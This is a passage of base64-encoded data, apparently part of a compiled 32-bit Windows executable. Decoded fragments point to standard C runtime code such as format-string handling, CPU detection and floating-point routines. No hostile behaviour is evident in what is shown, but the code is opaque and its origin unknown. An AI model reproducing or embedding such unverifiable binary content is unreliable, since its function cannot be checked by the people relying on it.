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2Pv//4tFDFf/dRCLfRSJhfj7//8zwIvYib3w+///iYWk+///i/CJnez7//+JhdD7//+Jhej7//+Jhdz7//+Jhaj7//+JhcD7//+JhdT7///oJb3//+i66f//iYWc+///OZ3Y+///dSrop+n//8cAFgAAAOje/f//OJ28+///dAqLhbj7//+DYHD9g8j/6fUKAACLlfj7//+F0nTMD7cSM8mJjfT7//+LwYmF4Pv//4mNzPv//4mNrPv//4mV5Pv//2aF0g+EqgoAAMeFkPv//1gAAADHhYz7//9kAAAAx4WI+///aQAAAMeFmPv//28AAACDhfj7//8ChcAPiHMKAABqWI1C4F9mO8d3Dw+3wg++gIDEQgCD4A/rAjPAi73M+///D768x6DEQgCLx4m9zPv//4u98Pv//8H4BImFzPv//4P4Bw+HCwoAAP8khUiPQQAzwION6Pv///+L2ImFqPv//4mFwPv//4mF0Pv//4mF3Pv//4md7Pv//4mF1Pv//+nQCQAAD7fCaiBaK8J0RoPoA3Q5g+gIdC9ISHQdg+gDi4X4+///D4WvCQAAg8sIiZ3s+///6aEJAACDywSJnez7///pjQkAAIPLAevwgcuAAAAA6+iDywLr42oqWGY70HUviweDxwSJvfD7//+JhdD7//+FwA+JWgkAAIPLBPfYiZ3s+///iYXQ+///6UQJAABrjdD7//8KD7fCg8HQA8GJhdD7///pJAkAADPAiYXo+///6R0JAABqKlhmO9B1K4sHg8cEiYXo+///hcCLhfj7//+JvfD7//8PifwIAACDjej7////6fAIAABrjej7//8KD7fCg8HQA8GJhej7///pyggAAA+3woP4SXRXg/hodEhqbFo7wnQag/h3i4X4+///D4WzCAAAgcsACAAA6fz+//+Lhfj7//9mORB1FIPAAoHLABAAAImF+Pv//+nd/v//g8sQ6dX+//9qIFgL2OnZ/v//i4X4+///D7cAg/g2dSOLvfj7//9mg38CNHUWi8eDwASBywCAAACJhfj7///pmv7//4P4M3Uji734+///ZoN/AjJ1FovHg8AEgeP/f///iYX4+///6XL+//9mO4WM+///D4QLCAAAZjuFiPv//w+E/gcAAGY7hZj7//8PhPEHAACD+HUPhOgHAACD+HgPhN8HAABmO4WQ+///D4TSBwAAM8CJhcz7//+NheD7///HhdT7//8BAAAAUP+12Pv//1LoOwgAAIPEDOmfBwAAD7fCg/hkD48pAgAAD4SxAgAAg/hTD48lAQAAdH2D6EF0EEhIdFhISHQISEgPhZoFAABqIFgD0MeFqPv//wEAAACJleT7//+Lhej7//+Ntfz7//+Dy0C5AAIAAImd7Pv//4mN9Pv//4XAD4mOAgAAx4Xo+///BgAAAOnfAgAA98MwCAAAD4XYAAAAaiBYC9iJnez7///pyAAAAPfDMAgAAHULaiBYC9iJnez7//+Llej7//+/////f4P6/3QCi/qLtfD7//+DxgSJtfD7//+Ldvz2wyAPhL8EAACF9nUGizXIXEQAM8mLxomF5Pv//4mN9Pv//4X/D47QBAAAigCEwA+ExgQAAI2NsPv//w+2wFFQ6GLf//9ZhcCLheT7//9ZdAFAi430+///QEGJheT7//+JjfT7//87z3zB6YwEAACD6FgPhNwCAABISA+EiwAAAIPoBw+E7f7//0hID4VqBAAAD7cHg8cEx4XU+///AQAAAIm98Pv//4mFoPv///bDIHREiIXE+///M8CIhcX7//+NhbD7//9Qi4Ww+////3B0jYXE+///UI2F/Pv//1DotrIAAIPEEIXAeRPHhcD7//8BAAAA6wdmiYX8+///M8mNtfz7//9B6eoDAACLB4PHBIm98Pv//4XAdDaLcASF9nQv98MACAAAdBcPvwCZK8LHhdT7//8BAAAAi8jpswMAADPJiY3U+///D78I6aUDAACLNchcRABW6O7u//9Zi8jpkQMAAIP4cA+P6wEAAA+E1wEAAIP4ZQ+MfwMAAIP4Zw+O8f3//2ppWjvCdGaD+G50J2pvWjvCD4VfAwAAx4Xk+///CAAAAITbeVuBywACAACJnez7///rTYPHBIm98Pv//4t//Ohzu///hcAPhEUFAACLheD7///2wyB0BWaJB+sCiQfHhcD7//8BAAAA6cMEAACDy0CJnez7///HheT7//8KAAAA98MAgAAAdQz3wwAQAAAPhJcBAACLD4PHCIm98Pv//4t//OmwAQAAdRRqZ1hmO9B1VseF6Pv//wEAAADrSjvBfgiLwYmF6Pv//z2jAAAAfjeNuF0BAABX6JESAACLleT7//+Jhaz7//9ZhcB0Covwib30+///6wrHhej7//+jAAAAi73w+///iweDxwiJhXj7//+JvfD7//+LR/yJhXz7//+NhbD7//9Q/7Wo+///D77C/7Xo+///UP+19Pv//42FePv//1ZQ/zUcXkQA/xUMokIA/9CL+4PEHIHngAAAAHQhg73o+///AHUYjYWw+///UFb/NSheRAD/FQyiQgD/0FlZamdYZjmF5Pv//3Uchf91GI2FsPv//1BW/zUkXkQA/xUMokIA/9BZWYA+LQ+FHv7//4HLAAEAAEaJnez7///pDP7//8eF6Pv//wgAAABqB+scg+hzD4R7/P//SEgPhJL+//+D6AMPhYkBAABqJ8eF5Pv//xAAAABYiYWk+///hNsPiXj+//9qMFmDwFFmiY3I+///ZomFyvv//8eF3Pv//wIAAADpVf7//4PHBIm98Pv///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0DItH/JmLyIv6M8DrB4tP/DPAi/j2w0B0HDv4fxh8BDvIcxL32RP499+BywABAACJnez7///3wwCQAAB1Aov4i5Xo+///hdJ5BTPSQusWg+P3iZ3s+///gfoAAgAAfgW6AAIAAIvBC8d1BomF3Pv//421+/3//4vCSomV6Pv//4XAfwaLwQvHdD2LheT7//+ZUlBXUeg+sAAAg8EwiZ2E+///iYX0+///i/qD+Tl+BgONpPv//4uV6Pv//4gOTouN9Pv//+uwi53s+///jY37/f//K85GiY30+///98MAAgAAdEWFyXQFgD4wdDxOQWowWIgG6y2F9nUGizXMXEQAx4XU+///AQAAAIvOhf90DzPAT2Y5AXQHg8EChf918yvO0fmJjfT7//+DvcD7//8AD4WtAQAA9sNAdCD3wwABAAAPhB0BAABqLVhmiYXI+///x4Xc+///AQAAAGogWou90Pv//4uF3Pv//yv5K/j2wwx1HY2F4Pv//1D/tdj7//9XUug/AgAAi4Xc+///g8QQ/7Wc+///jY3g+///Uf+12Pv//1CNhcj7//9Q6EICAACDxBT2wwh0H/bDBHUajYXg+///UP+12Pv//1dqMFhQ6PIBAACDxBCDvdT7//8Ai4X0+///D4WzAAAAhcAPjqsAAACLzom15Pv//0iJhYT7//+NhbD7//9Qi4Ww+////3B0jYWg+///UVDoqa0AAIPEEImFlPv//4XAfmeNheD7//9Q/7XY+////7Wg+///6E0BAACLjeT7//+DxAwDjZT7//+LhYT7//+JjeT7//+FwH+Y61b2wwF0B2or6dn+///2wwIPhOL+//9qIFpmiZXI+///x4Xc+///AQAAAOnM/v//g8j/iYXg+///6yP/tZz7//+NjeD7//9R/7XY+///UFboOwEAAIPEFIuF4Pv//4XAeB/2wwR0Go2F4Pv//1D/tdj7//9XaiBYUOjmAAAAg8QQi4Ws+///hcB0D1DoKbT//zPAWYmFrPv//4uN9Pv//4uF+Pv//w+3EIuF4Pv//4mV5Pv//2aF0g+FfvX//4C9vPv//wB0CouNuPv//4NhcP2LTfxfXjPNW+i1pv//i+Vdw+h33v//xwAWAAAA6K7y//+Avbz7//8AD4TV9P//i424+///g2Fw/enG9P//EIdBANaEQQAKhUEAX4VBALCFQQC9hUEACoZBADWHQQBVi+yLRQz2QAxAdAaDeAgAdB1Q/3UI6JaqAABZWbn//wAAZjvBdQiLRRCDCP9dw4tFEP8AXcNVi+xWi3UMhfZ+HleLfRRX/3UQTv91COiu////g8QMgz//dASF9n/nX15dw1WL7FaLdRhXi30QiwaJRRj2RwxAdBCDfwgAdQqLTRSLRQwBAetPgyYAU4tdDIXbfkGLRRRQi0UIS1cPtwBQ6Fv///+LRRSDxAyDRQgCgzj/dRSDPip1E1BXaj/oPv///4tFFIPEDIXbf8qDPgB1BYtFGIkGW19eXcNVi+yB7IgEAAChCFREADPFiUX8i0UIjY20+///U1aJhdj7//+LRQxX/3UQi30UiYX4+///M8CL2Im98Pv//4mFrPv//4vwiZ3s+///iYXQ+///iYXo+///iYXc+///iYWo+///iYWw+///iYXU+///6Eaw///o29z//4mFoPv//zmd2Pv//3Uq6Mjc///HABYAAADo//D//zidwPv//3QKi4W8+///g2Bw/YPI/+kQCwAAi5X4+///hdJ0zA+3EjPJiY30+///i8GJheD7//+Jjcz7//+JjaT7//+JleT7//9mhdIPhMUKAADHhZD7//9YAAAAx4WM+///ZAAAAMeFiPv//2kAAADHhZj7//9vAAAAg4X4+///AoXAD4h/CgAAaliNQuBfZjvHdw8Pt8IPtoCwyEIAg+AP6wIzwIu9zPv//2vACQ+2vDjQyEIAi8eJvcz7//+LvfD7///B6ASJhcz7//+D+AgPhJEKAACD+AcPhwsKAAD/JIVfnEEAM8CDjej7////i9iJhaj7//+JhbD7//+JhdD7//+Jhdz7//+Jnez7//+JhdT7///p0AkAAA+3wmogWivCdEaD6AN0OYPoCHQvSEh0HYPoA4uF+Pv//w+FrwkAAIPLCImd7Pv//+mhCQAAg8sEiZ3s+///6Y0JAACDywHr8IHLgAAAAOvog8sC6+NqKlhmO9B1L4sHg8cEib3w+///iYXQ+///hcAPiVoJAACDywT32Imd7Pv//4mF0Pv//+lECQAAa43Q+///Cg+3woPB0APBiYXQ+///6SQJAAAzwImF6Pv//+kdCQAAaipYZjvQdSuLB4PHBImF6Pv//4XAi4X4+///ib3w+///D4n8CAAAg43o+////+nwCAAAa43o+///Cg+3woPB0APBiYXo+///6coIAAAPt8KD+El0V4P4aHRIamxaO8J0GoP4d4uF+Pv//w+FswgAAIHLAAgAAOn8/v//i4X4+///ZjkQdRSDwAKBywAQAACJhfj7///p3f7//4PLEOnV/v//aiBYC9jp2f7//4uF+Pv//w+3AIP4NnUji734+///ZoN/AjR1FovHg8AEgcsAgAAAiYX4+///6Zr+//+D+DN1I4u9+Pv//2aDfwIydRaLx4PABIHj/3///4mF+Pv//+ly/v//ZjuFjPv//w+ECwgAAGY7hYj7//8PhP4HAABmO4WY+///D4TxBwAAg/h1D4ToBwAAg/h4D4TfBwAAZjuFkPv//w+E0gcAADPAiYXM+///jYXg+///x4XU+///AQAAAFD/tdj7//9S6FD7//+DxAzpnwcAAA+3woP4ZA+PKQIAAA+EsQIAAIP4Uw+PJQEAAHR9g+hBdBBISHRYSEh0CEhID4WaBQAAaiBYA9DHhaj7//8BAAAAiZXk+///i4Xo+///jbX8+///g8tAuQACAACJnez7//+JjfT7//+FwA+JjgIAAMeF6Pv//wYAAADp3wIAAPfDMAgAAA+F2AAAAGogWAvYiZ3s+///6cgAAAD3wzAIAAB1C2ogWAvYiZ3s+///i5Xo+///v////3+D+v90Aov6i7Xw+///g8YEibXw+///i3b89sMgD4S/BAAAhfZ1Bos1yFxEADPJi8aJheT7//+JjfT7//+F/w+O0AQAAIoAhMAPhMYEAACNjbT7//8PtsBRUOh30v//WYXAi4Xk+///WXQBQIuN9Pv//0BBiYXk+///iY30+///O898wemMBAAAg+hYD4TcAgAASEgPhIsAAACD6AcPhO3+//9ISA+FagQAAA+3B4PHBMeF1Pv//wEAAACJvfD7//+JhZz7///2wyB0RIiFxPv//zPAiIXF+///jYW0+///UIuFtPv///9wdI2FxPv//1CNhfz7//9Q6MulAACDxBCFwHkTx4Ww+///AQAAAOsHZomF/Pv//zPJjbX8+///QenqAwAAiweDxwSJvfD7//+FwHQ2i3AEhfZ0L/fDAAgAAHQXD78AmSvCx4XU+///AQAAAIvI6bMDAAAzyYmN1Pv//w+/COmlAwAAizXIXEQAVugD4v//WYvI6ZEDAACD+HAPj+sBAAAPhNcBAACD+GUPjH8DAACD+GcPjvH9//9qaVo7wnRmg/hudCdqb1o7wg+FXwMAAMeF5Pv//wgAAACE23lbgcsAAgAAiZ3s+///602DxwSJvfD7//+Lf/zoiK7//4XAD4RUBQAAi4Xg+///9sMgdAVmiQfrAokHx4Ww+///AQAAAOnDBAAAg8tAiZ3s+///x4Xk+///CgAAAPfDAIAAAHUM98MAEAAAD4SXAQAAiw+DxwiJvfD7//+Lf/zpsAEAAHUUamdYZjvQdVbHhej7//8BAAAA60o7wX4Ii8GJhej7//89owAAAH43jbhdAQAAV+imBQAAi5Xk+///iYWk+///WYXAdAqL8Im99Pv//+sKx4Xo+///owAAAIu98Pv//4sHg8cIiYV4+///ib3w+///i0f8iYV8+///jYW0+///UP+1qPv//w++wv+16Pv//1D/tfT7//+NhXj7//9WUP81HF5EAP8VDKJCAP/Qi/uDxByB54AAAAB0IYO96Pv//wB1GI2FtPv//1BW/zUoXkQA/xUMokIA/9BZWWpnWGY5heT7//91HIX/dRiNhbT7//9QVv81JF5EAP8VDKJCAP/QWVmAPi0PhR7+//+BywABAABGiZ3s+///6Qz+///Hhej7//8IAAAAagfrHIPocw+Ee/z//0hID4SS/v//g+gDD4WJAQAAaifHheT7//8QAAAAWImFrPv//4TbD4l4/v//ajBZg8BRZomNyPv//2aJhcr7///Hhdz7//8CAAAA6VX+//+DxwSJvfD7///2wyB0EfbDQHQGD79H/OsOD7dH/OsI9sNAdAyLR/yZi8iL+jPA6weLT/wzwIv49sNAdBw7+H8YfAQ7yHMS99kT+PffgcsAAQAAiZ3s+///98MAkAAAdQKL+IuV6Pv//4XSeQUz0kLrFoPj94md7Pv//4H6AAIAAH4FugACAACLwQvHdQaJhdz7//+Ntfv9//+LwkqJlej7//+FwH8Gi8ELx3Q9i4Xk+///mVJQV1HoU6MAAIPBMImdhPv//4mF9Pv//4v6g/k5fgYDjaz7//+Llej7//+IDk6LjfT7///rsIud7Pv//42N+/3//yvORomN9Pv///fDAAIAAHRFhcl0BYA+MHQ8TkFqMFiIBusthfZ1Bos1zFxEAMeF1Pv//wEAAACLzoX/dA8zwE9mOQF0B4PBAoX/dfMrztH5iY30+///g72w+///AA+FrQEAAPbDQHQg98MAAQAAD4QdAQAAai1YZomFyPv//8eF3Pv//wEAAABqIFqLvdD7//+Lhdz7//8r+Sv49sMMdR2NheD7//9Q/7XY+///V1LoVPX//4uF3Pv//4PEEP+1oPv//42N4Pv//1H/tdj7//9QjYXI+///UOhX9f//g8QU9sMIdB/2wwR1Go2F4Pv//1D/tdj7//9XajBYUOgH9f//g8QQg73U+///AIuF9Pv//w+FswAAAIXAD46rAAAAi86JteT7//9IiYWE+///jYW0+///UIuFtPv///9wdI2FnPv//1FQ6L6gAACDxBCJhZT7//+FwH5njYXg+///UP+12Pv///+1nPv//+hi9P//i43k+///g8QMA42U+///i4WE+///iY3k+///hcB/mOtW9sMBdAdqK+nZ/v//9sMCD4Ti/v//aiBaZomVyPv//8eF3Pv//wEAAADpzP7//4PI/4mF4Pv//+sj/7Wg+///jY3g+///Uf+12Pv//1BW6FD0//+DxBSLheD7//+FwHgf9sMEdBqNheD7//9Q/7XY+///V2ogWFDo+/P//4PEEIuFpPv//4XAdA9Q6D6n//8zwFmJhaT7//+LjfT7//+Lhfj7//8PtxCLheD7//+JleT7//9mhdIPhXL1//+Ljcz7//+FyXQFg/kHdVCAvcD7//8AdAqLjbz7//+DYXD9i038X14zzVvou5n//4vlXcPofdH//8cAFgAA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